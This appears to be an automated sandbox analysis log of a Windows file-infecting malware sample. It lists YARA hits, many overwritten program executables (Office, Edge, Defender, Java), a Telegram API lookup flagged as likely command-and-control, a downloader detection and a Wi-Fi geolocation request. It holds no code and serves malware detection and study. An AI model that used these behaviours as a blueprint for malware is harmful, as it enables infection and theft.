Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE, type: DROPPED

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOXMLED.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-006E-0409-0000-0000000FF1CE}\misc.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\misc.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\ai.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0409-0000-0000000FF1CE}\misc.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-040C-0000-0000000FF1CE}\misc.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\AutoIt3\Uninstall.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\aimgr.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\Cache\	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File opened: C:\Documents and Settings\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File opened: C:\Documents and Settings\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\	Jump to behavior

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 1.0.LisectAVT_2403002B_4.exe.4f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe, type: DROPPED

Source: global traffic	HTTP traffic detected: GET /geolocation/wifi?v=1.1&bssid=00:50:56:a7:21:15 HTTP/1.1Host: api.mylnikov.orgConnection: Keep-Alive
